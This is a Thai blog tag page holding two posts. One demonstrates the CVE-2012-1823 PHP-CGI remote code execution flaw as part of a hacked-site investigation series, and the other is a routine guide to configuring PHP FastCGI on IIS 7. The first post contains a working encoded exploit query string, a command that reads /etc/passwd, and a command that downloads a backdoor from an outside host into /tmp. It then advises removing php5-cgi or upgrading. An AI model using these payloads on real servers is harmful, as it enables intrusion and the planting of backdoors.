Tag: PHP FastCGI

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #13

    บทความนี้ แสดงให้เห็นการโจมตีช่องโหว่ของ PHP แบบ CGI  ทำให้สามารถ แทรกคำสั่งต่างๆไปยังเครื่องเป้าหมายได้ ดังที่ปรากฏใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 โดย PHP Version ที่ต่ำกว่า 5.3.12 และใช้แบบ php5-cgi จะมีช่องโหว่นี้

    ก่อนอื่น ขออธิบายคร่าวๆ ว่า การใช้งาน PHP นั้น มีวิธีที่นิยมใช้กัน 3 วิธี [1] ได้แก่

    1. Apache Module
    2. CGI
    3. FastCGI

    1. Apache Module (mod_apache) เป็นวิธีการที่ใช้งานอยู่กันโดยทั่วไป ได้รับความนิยม เพราะติดตั้งง่าย
    ข้อดี:
    – PHP ทำงานร่วมกับ Apache
    – เหมาะกับงานที่ใช้ PHP เยอะๆ
    ข้อเสีย:
    – ทุก Apache Process จะมีการโหลด PHP เข้าไปด้วย แสดงว่า จะใช้ Memory มากขึ้น ยิ่งมีการโหลด Module เพิ่ม ก็ยิ่งใช้ Memory เพิ่มอีก ทั้งนี้ ไม่ว่าจะเป็นการเรียก ภาพ หรืออะไรที่ไม่ใช้ PHP ก็ตาม
    – สิทธิ์ในการสร้าง/แก้ไขไฟล์ จะเป็นของ Web User เช่น Apache/httpd เป็นต้น ทำให้ มีปัญหาด้านความปลอดภัย ในกรณีใช้พื้นที่ร่วมกัน

    2. CGI เป็นวิธีการใช้ PHP Interpreter เฉพาะที่จำเป็น
    ข้อดี
    – แก้ไขปัญหาด้านความปลอดภัย ในการใช้พื้นที่ร่วมกัน เพราะสิทธิ์ในการสร้าง/แก้ไขไฟล์ จะแยกเป็นของผู้ใช้แต่ละคน ดังนั้น เมื่อเกิดการเจาะช่องโหว่ ก็จะไม่กระทบกับผู้อื่น
    – Apache Process จะทำหน้าที่เฉพาะให้บริการ HTTP แต่เมื่อต้องการใช้ PHP จึงจะไปเรียกใช้
    ข้อเสีย
    – เป็นวิธีดั้งเดิม ไม่มีประสิทธิภาพนัก, การตอบสนองช้า

    3. FastCGI เป็นการแยก Web Server กับ PHP ออกจากกัน ทำให้ การใช้งาน HTTP ที่มีต้องใช้ PHP ก็จะใช้งาน Memory น้อย แต่เมื่อต้องการใช้ PHP ก็จะส่งไปทาง Socket ทำให้สามารถกระจาย Load ไปยังเครื่องต่างๆได้
    ข้อดี
    – ให้ความปลอดภัยในการใช้พื้นี่ร่วมกัน แบบ CGI แต่ทำงานเร็วขึ้น
    – สามารถ Scalability ได้ดี
    – Apache Process ที่ไม่ใช้ PHP ก็จะใช้ Memory น้อย
    ข้อเสีย
    – การตั้งค่าค่อนข้างยุ่งยาก จะใช้ .htaccess แบบเดิมไม่ได้ แต่ต้องใช้ php.ini แยกแต่ละผู้ใช้ ทำให้ดูแลยากขึ้น

    ปัญหาอยู่ที่ว่า บาง Web Server ที่ใช้งานกันอยู่ ใช้งาน PHP แบบ Apache Module อย่างเดียว แต่ ไปติดตั้ง PHP แบบ CGI ด้วย (php5-cgi package) แล้ว อาจจะไม่ได้ตรวจสอบให้ดี จึงทำให้มีช่องโหว่ได้

    ตัวอย่างนี้ เป็น Web Server ที่ทำงานบน Ubuntu 10.04 Server + Apache 2.2.4 + PHP 5.2.17 โดย PHP Package ที่ติดตั้งไว้ สามารถดูด้วยคำสั่ง

    sudo dpkg-query -l | grep php

    ผลที่ได้คือ

    ซึ่งจะเห็นว่า มี php5-cgi รุ่น 5..2.17 ซึ่ง มีช่องโหว่ ตาม CVE-2012-1823 ซึ่งทำให้ Hacker สามารถแทรกโค๊ดเข้ามาได้

    สมมุติ Web Server เครื่องนี้ มี IP Address : 192.168.1.20

    Hacker สามารถใช้คำสั่งต่อไปนี้ ( ดัดแปลงจากตัวอย่างของ Exploit Development: PHP-CGI Remote Code Execution – CVE-2012-1823 [2] และ รายละเอียดของ Query String ดูจากบทความ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6)

    qstring="%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E"

    ซึ่ง qstring นี้ เมื่อถอดรหัสจากเลขฐาน 16 เป็นข้อความจะได้ว่า

     -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

    จากนั้น Hacker ก็ใช้คำสั่งต่อไปนี้

    echo "<?php system('cat /etc/passwd');die(); ?>" | POST "http://192.168.1.20/cgi-bin/php?$qstring"

    ผลที่ได้คือ

    และ Hacker สามารถทำอะไรก็ได้ เช่นไปเอา Backdoor จากที่อื่นมาใส่ได้ ตัวอย่างเช่น เอามาจาก http://example.com/backdoor ไปเก็บไว้ที่ /tmp/.aaa ด้วยคำสั่งนี้

    echo "<?php system(' wget -q http://example.com/backdoor -O /tmp/.aaa');die(); ?>" | POST "http://192.168.1.20/cgi-bin/php?$qstring"

    หากใช้คำสั่งต่อไปนี้ที่เครื่องเป้าหมาย 192.168.1.20

     ls -la /tmp

    ก็พบว่า มี Backdoor ฝังอยู่แล้ว

    ซึ่ง Hacker ก็สามารถใช้ขั้นตอนคล้ายๆกันนี้ ออกคำสั่งต่างๆได้

    ดังนั้น หากท่านไม่ได้ตั้งใจจะใช้ php5-cgi ก็แนะนำให้เอาออกไป หรือ ทำการ Upgrade ให้เป็นรุ่น 5.3.12 ก็จะปลอดภัยจากช่องโหว่นี้ครับ

    ขอให้โชคดี

    Reference

    [1] http://blog.layershift.com/which-php-mode-apache-vs-cgi-vs-fastcgi/

    [2] http://insecurety.net/?p=705

  • Config PHP Fast CGI เพื่อใช้งาน PHP ใน IIS 7 ครับ

    สวัสดีครับ

    วันนี้กระผมจะมาแชร์ประสบการณ์ในการ Config PHP Fast CGI เพื่อใช้งานเวบไซต์ PHP ใน IIS 7 ครับผม

    0. เริ่มต้นด้วยขั้นตอนการ Add Role Service ครับ

    cgi1

    รูปที่ 1 แสดงการ Add Role Service

    1. เลือกติดตั้ง CGI และกดเลือก Next ครับ

    cgi2

    รูปที่ 2 แสดงขั้นตอนการติดตั้ง

    2. เมื่อลง CGI เสร็จเรียบร้อยก็จะขึ้นหน้าต่าง Installation Succeeded ครับ

    cgi3

    รูปที่ 3 แสดงหน้าต่างหากติดตั้ง CGI สำเร็จ

    3.ลง PHP 5.2.6 ครับ

    cgi4

    รูปที่ 4 แสดงการติดตั้ง php

    4. เลือก Drive ที่จะติดตั้ง PHP หลังจากนั้นคลิก Next

    cgi5

    รูปที่ 5 แสดงที่จัดเก็บ PHP

    5. เลือก IIS FastCGI

    cgi6

    รูปที่ 6 แสดงการติดตั้ง FastCGI

    6. เป็นอันติดตั้ง PHP สำเร็จ

    cgi7

    รูปที่ 7 แสดงการติดตั้ง PHP สำเร็จ

    7. แก้ไขค่า ใน Folder PHP

    cgi8

    รูปที่ 8 แสดงการเข้าไปแก้ไขค่าใน php

    8. ตรงบรรทัด fastcgi.impersonate ให้เอา ; ออกและ แก้ไขดังนี้

    fastcgi.impersonate = 1

    cgi9

    รูปที่ 9 แสดงการเข้าไปแก้ไขค่าใน php ต่อ

    9. แก้ไขค่าบรรทัดนี้โดยเอา ; ออก และแก้ไขดังนี้  cgi.fix_pathinfo=1

    cgi10

    รูปที่ 10 แสดงการเข้าไปแก้ไขค่าใน php ต่อ

    10. แก้ไขค่าบรรทัดนี้โดยเอา ; ออกและแก้ไขดังนี้ cgi.force_redirect = 0

    cgi11

    รูปที่ 11 แสดงการเข้าไปแก้ไขค่าใน php ต่อ

    11.แก้ไขค่าบรรทัดนี้โดยเอา ; ออกและแก้ไขดังนี้ open_basedir = c:\inetpub

    cgi12

    รูปที่ 12 แสดงการเข้าไปแก้ไขค่าใน php ต่อ

    12.หลังจากนั้นกด Ctrl+S หรือ กด Save ครับ

    cgi13

    รูปที่ 13 แสดงการบันทึกหลังจากแก้ไขค่าเสร็จเรียบร้อย

    13. จากนั้นเข้า cmd เข้าไปในโฟลเดอร์ที่เก็บ PHP

    cd c:\php5

    php -info

    มันจะแสดงรายละเอียดของ php ที่เราได้ติดตั้งไปทั้งหมด

    cgi14

    รูปที่ 14 แสดงรายละเอียดของ php

    14. หลังจากนั้น config IIS7 เพื่อใช้ php โดยไปที่ Handler Mapping

    cgi15

    รูปที่ 15 แสดงการเข้าไปตั้งค่าใน Handler Mapping

    15. เลือก Add Module Mapping

    cgi16

    รูปที่ 16 แสดงการเข้าไปตั้งค่าใน Handler Mapping ต่อ

    16.จากนั้นกรอกข้อมูลดังนี้

    Request path :> *.php

    Module:> FastCgiModule

    Excutable :> C:\PHP5\php-cgi.exe

    Name :> FastCGIPHP

    cgi17

    รูปที่ 17 แสดงการแก้ไขค่าใน Module

    17. คลิก Yes เพื่อสร้าง FastCGI Application

    cgi18

    รูปที่ 18 แสดงสถานะหลังจากแก้ไขค่าเสร็จเรียบร้อย

    18. หลังจากนั้นเข้าไปใน ไดเรกทอรี่ C:\inetpub\wwwroot และสร้าง info.php จากนั้นนำ source code นี้ใส่เข้าไป

    <?php phpinfo(); ?> เพื่อตรวจสอบว่าสามารถใช้งาน php ได้แล้วหรือยังครับ หากประสบผลสำเร็จจะมีลักษณะดังรูปด้านล่าง

    cgi19

    รูปที่ 19 แสดงหน้าจอเมื่อรันแล้วประสบผลสำเร็จ

    เสร็จสิ้นกระบวนการในส่วนของการ config php ให้สามารถใช้งานได้ใน IIS7 ครับ

    Chio